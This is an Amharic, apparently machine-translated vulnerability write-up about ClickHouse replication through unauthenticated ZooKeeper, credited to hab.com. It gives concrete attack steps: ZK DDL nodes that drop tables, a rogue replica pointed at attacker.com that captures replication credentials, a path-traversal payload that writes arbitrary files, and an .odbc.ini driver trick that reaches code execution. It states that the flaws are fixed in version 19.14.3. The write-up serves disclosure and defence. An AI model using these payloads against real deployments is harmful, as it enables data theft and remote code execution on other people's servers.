ይህ መጣጥፍ በ ClickHouse ማባዛት ፕሮቶኮል ውስጥ በጣም የተለየ የተጋላጭነት ታሪክን ይነግረናል፣ እና የጥቃቱ ገጽ እንዴት ሊሰፋ እንደሚችልም ያሳያል።
ClickHouse ብዙ መጠን ያላቸውን መረጃዎች የሚያከማችበት ዳታቤዝ ሲሆን ብዙ ጊዜ ከአንድ በላይ ቅጂዎችን ይጠቀማል። በ ClickHouse ውስጥ መሰብሰብ እና ማባዛት ከላይ ተሠርተዋል።
ነባሪው የZK ጭነት ማረጋገጫ አያስፈልገውም፣ስለዚህ በሺዎች የሚቆጠሩ የZK አገልጋዮች Kafka, Hadoop, ClickHouseን ለማዋቀር ጥቅም ላይ ይውላሉ በይፋ ይገኛሉ።
የጥቃት ቦታዎን ለመቀነስ፣ ZooKeeperን ሲጭኑ ሁል ጊዜ ማረጋገጫ እና ፍቃድ ማዋቀር አለብዎት
በእርግጥ በ0day ላይ የተመሰረቱ የጃቫ መለያዎች አሉ፣ነገር ግን አንድ አጥቂ ማንበብ እና መፃፍ እንደሚችል አስቡት ZooKeeper፣ ለ ClickHouse ማባዛት።
በክላስተር ሁነታ ሲዋቀር ClickHouse የተከፋፈሉ መጠይቆችን ይደግፋል /clickhouse/task_queue/ddl
.
ለምሳሌ, መስቀለኛ መንገድ ትፈጥራለህ /clickhouse/task_queue/ddl/query-0001
ከይዘት ጋር፡-
version: 1
query: DROP TABLE xxx ON CLUSTER test;
hosts: ['host1:9000', 'host2:9000']
እና ከዚያ በኋላ, የሙከራ ጠረጴዛው በክላስተር አገልጋዮች host1 እና host2 ላይ ይሰረዛል. DDL የCREATE/ALTER/DROP መጠይቆችን ማሄድን ይደግፋል።
አስፈሪ ይመስላል? ግን አጥቂ የአገልጋይ አድራሻዎችን ከየት ማግኘት ይችላል?
CREATE TABLE foobar
(
`action_id` UInt32 DEFAULT toUInt32(0),
`status` String
)
ENGINE=ReplicatedMergeTree(
'/clickhouse/tables/01-01/foobar/', 'chXX')
ORDER BY action_id;
አንጓዎች ይፈጠራሉ አምዶች и ዲበ ውሂብ.
ይዘት /clickhouse/ጠረጴዛዎች/01/foobar/replicas/chXX/አስተናጋጆች:
host: chXX-address
port: 9009
tcp_port: 9000
database: default
table: foobar
scheme: http
ከዚህ ስብስብ ውስጥ ውሂብ ማዋሃድ ይቻላል? አዎ፣ የማባዛት ወደብ ከሆነ (TCP/9009
) በአገልጋይ ላይ chXX-address
ፋየርዎል አይዘጋም እና ለመድገም ማረጋገጫ አይዋቀርም። ማረጋገጫን እንዴት ማለፍ እንደሚቻል?
አጥቂ ይዘቱን በቀላሉ በመቅዳት በZK ውስጥ አዲስ ቅጂ መፍጠር ይችላል። /clickhouse/tables/01-01/foobar/replicas/chXX
እና ትርጉሙን መቀየር host
.
ይዘት /ክሊክ ሃውስ/ጠረጴዛዎች/01-01/foobar/replicas/ አጥቂ/አስተናጋጅ:
host: attacker.com
port: 9009
tcp_port: 9000
database: default
table: foobar
scheme: http
ከዚያም ሌሎች ቅጂዎች በአጥቂው አገልጋይ ላይ መውሰድ ያለባቸው አዲስ ብሎክ ውሂብ እንዳለ መንገር አለቦት - በZK ውስጥ መስቀለኛ መንገድ ተፈጥሯል። /clickhouse/tables/01-01/foobar/log/log-00000000XX
(XX በብቸኝነት የሚያድግ ቆጣሪ፣ በክስተቱ ምዝግብ ማስታወሻ ውስጥ ካለፈው የበለጠ መሆን አለበት)
format version: 4
create_time: 2019-07-31 09:37:42
source replica: attacker
block_id: all_7192349136365807998_13893666115934954449
get
all_0_0_2
የት ምንጭ_ግልባጭ - በቀድሞው ደረጃ የተፈጠረው የአጥቂው ቅጂ ስም ፣ የማገድ_መታወቂያ - የውሂብ እገዳ መለያ; ያግኙ - "አግድ አግኝ" ትዕዛዝ (እና
በመቀጠል እያንዳንዱ ቅጂ በምዝግብ ማስታወሻው ውስጥ አዲስ ክስተት ያነባል እና በአጥቂው ቁጥጥር ስር ወዳለው አገልጋይ ሄዶ የውሂብ ብሎክ ለመቀበል (የማባዛ ፕሮቶኮሉ ሁለትዮሽ ነው፣ በኤችቲቲፒ ላይ የሚሰራ)። አገልጋይ attacker.com
ጥያቄዎችን ይቀበላል፡-
POST /?endpoint=DataPartsExchange:/clickhouse/tables/01-01/default/foobar/replicas/chXX&part=all_0_0_2&compress=false HTTP/1.1
Host: attacker.com
Authorization: XXX
XXX ለመድገም የማረጋገጫ ውሂብ በሆነበት። በአንዳንድ አጋጣሚዎች ይህ በዋናው የ ClickHouse ፕሮቶኮል እና በኤችቲቲፒ ፕሮቶኮል በኩል ወደ ዳታቤዝ መዳረሻ ያለው መለያ ሊሆን ይችላል። እንደተመለከቱት የጥቃቱ ወለል በጣም ትልቅ ይሆናል ምክንያቱም ለመድገም የሚያገለግል ZooKeeper ማረጋገጫ ሳይዋቀር ቀርቷል።
የውሂብ ብሎክን ከአንድ ቅጂ የማግኘት ተግባርን እንይ ፣ ሁሉም ቅጂዎች በትክክለኛው ቁጥጥር ስር እንደሆኑ እና በመካከላቸው መተማመን እንዳለ በሙሉ እምነት ተጽፏል።
የማባዛት ሂደት ኮድ
ተግባሩ የፋይሎችን ዝርዝር, ከዚያም ስማቸውን, መጠኖቻቸውን, ይዘቶቻቸውን ያነባል, ከዚያም ወደ የፋይል ስርዓቱ ይጽፋል. በፋይል ስርዓቱ ውስጥ ውሂብ እንዴት እንደሚከማች በተናጠል መግለጽ ተገቢ ነው።
ውስጥ በርካታ ንዑስ ማውጫዎች አሉ። /var/lib/clickhouse
(ነባሪው የማከማቻ ማውጫ ከውቅረት ፋይሉ)፡
ባንዲራዎች - ለመቅዳት ማውጫ
tmp - ጊዜያዊ ፋይሎችን ለማከማቸት ማውጫ;
የተጠቃሚ_ፋይሎች - በጥያቄዎች ውስጥ ከፋይሎች ጋር የሚሰሩ ስራዎች ለዚህ ማውጫ (INTO OUTFILE እና ሌሎች) የተገደቡ ናቸው ።
ዲበ ውሂብ - sql ፋይሎች ከሠንጠረዥ መግለጫዎች ጋር;
ቀድሞ የተቀነባበሩ_ውቅሮች - የተቀናጁ የውቅር ፋይሎች ከ /etc/clickhouse-server
;
መረጃ - ትክክለኛው ማውጫ ከውሂቡ ራሱ ጋር ፣ በዚህ ሁኔታ ለእያንዳንዱ የውሂብ ጎታ የተለየ ንዑስ ማውጫ በቀላሉ እዚህ ተፈጠረ (ለምሳሌ ፣ /var/lib/clickhouse/data/default
).
ለእያንዳንዱ ጠረጴዛ በመረጃ ቋት ማውጫ ውስጥ ንዑስ ማውጫ ይፈጠራል። እያንዳንዱ ዓምድ የተለየ ፋይል ነው
action_id.bin
action_id.mrk2
checksums.txt
columns.txt
count.txt
primary.idx
status.bin
status.mrk2
ቅጂው የውሂብ ብሎክን በሚሰራበት ጊዜ ተመሳሳይ ስሞች ያላቸውን ፋይሎች እንደሚቀበል ይጠብቃል እና በምንም መልኩ አያረጋግጥም።
በትኩረት የሚከታተለው አንባቢ በአንድ ተግባር ውስጥ ስላለው ደህንነቱ ያልተጠበቀ የፋይል_ስም ውህደት አስቀድሞ ሰምቶ ሊሆን ይችላል። WriteBufferFromFile
. አዎ፣ ይህ አጥቂ በ FS ላይ በማንኛውም ፋይል ላይ የዘፈቀደ ይዘት ከተጠቃሚ መብቶች ጋር እንዲጽፍ ያስችለዋል። clickhouse
. ይህንን ለማድረግ በአጥቂው የሚቆጣጠረው ቅጂ ለጥያቄው የሚከተለውን ምላሽ መመለስ አለበት (ለመረዳት ቀላል የመስመር ክፍተቶች ተጨምረዋል)
x01
x00x00x00x00x00x00x00x24
../../../../../../../../../tmp/pwned
x12x00x00x00x00x00x00x00
hellofromzookeeper
እና ከግንኙነት በኋላ ../../../../../../../../../tmp/pwned
ፋይሉ ይጻፋል /tmp/pwned ከይዘት ጋር hellofromzookeeper.
የፋይል መፃፍ ችሎታን ወደ የርቀት ኮድ አፈፃፀም (RCE) ለመቀየር ብዙ አማራጮች አሉ።
ውጫዊ መዝገበ-ቃላት በ RCE
በአሮጌ ስሪቶች ውስጥ የ ClickHouse ቅንብሮች ያለው ማውጫ በተጠቃሚ መብቶች ተከማችቷል። ጠቅታ ቤት ነባሪ. የቅንጅቶች ፋይሎች አገልግሎቱ በሚነሳበት ጊዜ የሚያነባቸው እና ከዚያም የሚሸጎጡ የኤክስኤምኤል ፋይሎች ናቸው። /var/lib/clickhouse/preprocessed_configs
. ለውጦች ሲከሰቱ, እንደገና ይነበባሉ. መዳረሻ ካለህ /etc/clickhouse-server
አጥቂው የራሱን መፍጠር ይችላል። root
.
ODBC እስከ አርሲኢ
ጥቅል ሲጭኑ ተጠቃሚ ይፈጠራል። clickhouse
፣ ግን የቤት ማውጫው አልተፈጠረም። /nonexistent
. ነገር ግን፣ ውጫዊ መዝገበ ቃላትን ሲጠቀሙ፣ ወይም በሌሎች ምክንያቶች፣ አስተዳዳሪዎች ማውጫ ይፈጥራሉ /nonexistent
እና ተጠቃሚውን ይስጡ clickhouse
ወደ እሱ ለመጻፍ መዳረሻ (SSZB! በግምት ተርጓሚ).
ClickHouse ይደግፋል odbc-bridge
, ስለዚህ ከአሁን በኋላ የመንጃ መንገዱን ከጥያቄው መለየት አይቻልም. ነገር ግን አንድ አጥቂ ከላይ የተገለጸውን ተጋላጭነት ተጠቅሞ ለቤት ማውጫው መጻፍ ይችላል?
ፋይል እንፍጠር ~/.odbc.ini
እንደዚህ አይነት ይዘት ያለው፡-
[lalala]
Driver=/var/lib/clickhouse/user_files/test.so
ከዚያም ጅምር ላይ SELECT * FROM odbc('DSN=lalala', 'test', 'test');
ቤተ መፃህፍቱ ይጫናል test.so
እና RCE ተቀብለዋል (አመሰግናለሁ
እነዚህ እና ሌሎች ተጋላጭነቶች በ ClickHouse ስሪት 19.14.3 ውስጥ ተስተካክለዋል። የእርስዎን ClickHouse እና ZooKeepers ይንከባከቡ!
ምንጭ: hab.com